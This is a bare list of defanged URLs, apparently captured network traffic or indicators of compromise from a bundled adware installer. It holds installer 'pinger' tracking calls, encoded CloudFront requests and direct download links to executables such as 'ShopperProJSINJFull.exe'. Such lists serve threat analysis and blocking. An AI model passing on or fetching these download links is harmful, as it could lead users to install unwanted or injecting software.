hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&0.9549590813020323
hxxp://d4ekdi381yoqv.cloudfront.net/install.ashx?e=b1dRW7RxYKfUIwSieNK cC0i4Lp/1Apc cB5puCIxuyqT87ZizpXK0HDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PBwzNptWSIT4dhK78JwZANhLABaclESgbf20oOr7zOHjPx8KWfhqeDOpxUIS7OwCHof1NPSxCxLx7D8pdbzyFnRh6ZwsNcvy1slizlguN8rLx fZkzS1y kBO9CgPGV4WwPGAmcePe PVc3ikfmJT/O3t0uHUnyA1LmMhBD8DtZyqxW09QGMI6HK30lLUmdgz8l8mpqQv2qgb8GEz0QP2WSXRnuxaKyoJiTGxr4ns8yOPME0d9HYViswEPxgQlArChcN IiXEROGvRqQwj8kRC3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l75z3VpsTY1Y9NtefOTH4UpSnkSnlVgA Q== 54.239.168.206
hxxp://d2q90bop9bptps.cloudfront.net/t.ashx?e=W5y9y1UrGBkfAxEXghvnLIuhbiHzJsZX1VMaOJFqXYpxTYwWxYG9WArrnjIMl4VboUDW29 K3KYdJFCqlUjTGXf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=4mC0vXGWFtrPpyTTOfle7DVo9pvdtEJBOI8Rz6lttmP8ln8Iap23//2TEkHeJNDU9z6MsirOygDlcAXTaV9SImUl0xzv/1Q1DyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/agTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=4mC0vXGWFtrPpyTTOfle7DVo9pvdtEJBOI8Rz6lttmP8ln8Iap23//2TEkHeJNDU9z6MsirOygDlcAXTaV9SImUl0xzv/1Q1n14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf 54.239.168.206
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&0.9541772765527441
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9mPCGseo97LkKspGXq5ZiVjgb6v7cXpPuImJZrYkhmTozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU 54.239.168.206
hxxp://d1mvy92rurx48h.cloudfront.net/ytai.exe
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va m0xPwkWqeELO4NVqCHrKTs IILilpWF3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LP/pHSI lRPAjc/9GqmaG9iEnhH14nzCmezS8dyds6vSws0phWZ1n8A== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tQCStN3CXsH1z3Wq2vKHOHM18XJvxFXM1O iRnR3GvMMqGqHUvozE8Qrc0TxT28VE8= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIj9DDxdB8IX3/IOb5O/qAEzZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN 1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mNFS4PLhAi9H 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/yta33_sh_full.exe 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxidm qgH7yZay6h3LXmO/KYqYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2nH5ZYU55Dzftf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9pjRUuDy4QIvRw== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AJK03cJewfXPdara8oc4czXxcm/EVczU76JGdHca8wyoaodS jMTxCtzRPFPbxUTw== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va91Q6BhL4ofYRQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3NpfoWuurb1IKcd13kdQ6ezgRpy NDNbQiqwkDab6jzz4OWYG8ynVz 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Up1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9DaYoBWJ7FPB 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE9yUCqErzGmATxIUcsgQ w232AJ3j TD6Kbmw8PKJQLPjZXu6Hs6 2B1mHf78MaJ/HnXhYKKFGG/tmSqlaZjCZujn/aHBplicf/A9tnzJAkTVcL53uMd8Iw1AZZY6ZilPCJ PEul3tvEVIsnpzFFnZ1V4Hek0AV9k32wH3ZNkBKlfbDca4SwBvUUrZ RbO4BdX2w3GuEsAb/Lz5gk8LZkHnyAtpD5T D9r8aUNXVhPTwFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2nH5ZYU55Dzftf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9pjRUuDy4QIvRw== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wQ1V8jD1/9CmtYGP8lbxXf8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE6e8rOu6iJpxQC drCF7eFzkjJuEmyP5Qt vpQc1Xk5wfOIY6BQRhaqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AJK03cJewfXPdara8oc4czXxcm/EVczU76JGdHca8wyoaodS jMTxCtzRPFPbxUTw== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaHFcCX3EQ9YUkJQv83eyjojkOB3v7aTq0ErWxcpBkHhSQ3kCpSb73om1nmEvUc rycjxAyq7usCx5qEgmrifKxnIUEs13PTDiJJ/15wKFrU1SGap/Piob7 3hNKfF7td emkMrAdFS1TQIhKKaZqZAwv bg5dpl36Bp5Vs8Xody8TJ/fTI8Igkteo22dEcMDgGQnzhNaSY3uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZeZpA1/oMhqqeAC 5wFKqfvTZXJoH7sCSNaltwz/viKW8JS5HT3qUqk= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP IpbwlLkdPepSqQ== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wusjSmD/os8sE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtrn/ojf9K/ujjVDDR1s6LfAOPQgSHEw2 G6SHRxdq2MvD3uhzVRfMJhfCqXqcp6BQ= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=s5Ydxb c7o1PNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaFTUkN5UKYy3QTxIUcsgQ wxQcgloBwSmMMxMRWUkdQZU7l01ouN0CWyQEOJXfTD3M5pP236R990NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29px WWFOeQ837X9MyErNc5XDh4LsUpfwiOPvVpyWxN0xe68ZYLQxfaY0VLg8uECL0c= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=/k6kR j50tprzMCAALYrPS0i4Lp/1Apcsg7jyZ2P5QEQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZj0N7bp/0QtQiDxPRY4o5upR90anDedSCVfvEq2UlL/9rBhx7ksr4wcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=eISsn0A7mAZPNjxRBLtb437DLUVG yVS/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo2Cu3v20uVgOYCpHZc9ZUaFTUkN5UKYy3QTxIUcsgQ wxQcgloBwSmP18uFGU5uC/aaLAE3zuIJ88SJA d bWCF57ufhnf2/kIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=QHucCbLl /bcrHBJLG9UX7XVZuuo/0077OXLse4BafTbQC nVTu53h5TX6K4Kv02PaM0kMp6 2891qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEHzF4heDka0HAn5VjwTD4wbco4b1ol1gsepjq8Lm1w1UGK5E2bFODYZiuGpx ZVZ8ATxIUcsgQ wQ1V8jD1/9CkZtQFdZJbneATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=t4TV4yXs13MhwgnRr/y OBPn9tRW/pAxQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerWiZCCrzprTQVjr4IQgU6/2DXhWyoO7dFSmF904v4t2DPC6dAY858uZ1EOpD0PZTf2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSnVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0NpigFYnsU8E= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=t4TV4yXs13MhwgnRr/y OBPn9tRW/pAxQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerWiZCCrzprTQVjr4IQgU6/03VTKOu38TtLPiCC4paVhdM8IevpAZmQJO5dNaLjdAlkjy /njLKqyOfuXRRiyr57Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN 1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mNFS4PLhAi9H 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=t4TV4yXs13MhwgnRr/y OBPn9tRW/pAxQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerWiZCCrzprTQAhTD7v1xeC4SYGfoTYqXvAIcLERiDa7ohckeENmAaNkdHIW7Wi64sfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLGPTgpcaNhCc8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFpa4U6LaqLYoc= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/p.ashx?e=QHucCbLl /a3UIXclMT28jVo9pvdtEJBT7N/IORyA3v8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU3vTUmK2O9Xzd/XCztdoPbJFiFlIaXxqEcmxw368usKjODQ8kqa2OFucXyuYdOQyoUg6LfIDXFhBiCHLDEUg0E/nGHy74Q2tSYKcd13kdQ6ezgRpy NDNbQiqwkDab6jzwiaG9PBG0oG94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/install.ashx?e=LCnUzM5l8JJPNjxRBLtb43WV/K5S1jMMHBKWDIV8zAkBs1cIYKb7ZGdRFBwnwwdKn9lhu9AC b75vTB/nfdzLzS1V5B6ruZrO2Em6vejOf HMa5E8LXYXSj4RBWOV2QSTzF53EHpwgtyRdUuNvgXmiJjxUWJId3o/Qw8XQfCF9/yDm Tv6gBM4QKV7JoYf3gQcOav1fvIInFToJxGXpok7Mp5a5JKLY87W51EkWHuTE0Kgz3DgrMV4I7vi/2haichogHqsVrPIC9mPgtLiusepFPUHuy8/GWQcOav1fvIInFToJxGXpok7Mp5a5JKLY8XOE7K YpdD4dbvlBlCBXIIXRdvEjd6Yh8vms14atiO9Dyp9UMyAFutCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPkDtNnW3aPgXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW ax5eone962kAkrTdwl7B9c91qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEK3NE8U9vFRP 54.239.168.206
hxxp://d2q90bop9bptps.cloudfront.net/t.ashx?e=043Mckb8Lnhw7iCtSAyu/yHCCdGv/L44E f21Fb kDFAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PTXoMXpqBnYfe/II5CuokaC4u3oGHN86wOx2KlVs8m8LqSlVGmgAnwDCNiNeNKIpAKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf
hxxp://d4ekdi381yoqv.cloudfront.net/p.ashx?e=QHucCbLl /a3UIXclMT28jVo9pvdtEJBT7N/IORyA3v8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU3vTUmK2O9Xzd/XCztdoPbIiDSnW9QwuvgTxIUcsgQ wYlOVgJBo5/voUfuS9iW9GozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/b8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqm/kJEdxV49SPoRBvyLKjekeZpA1/oMhqqeAC 5wFKqfvTZXJoH7sCSNaltwz/viKWIiAdBYbIeY9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Up1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9DaYoBWJ7FPB 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p97T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU 54.239.168.206
hxxp://wvh6rmp-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe
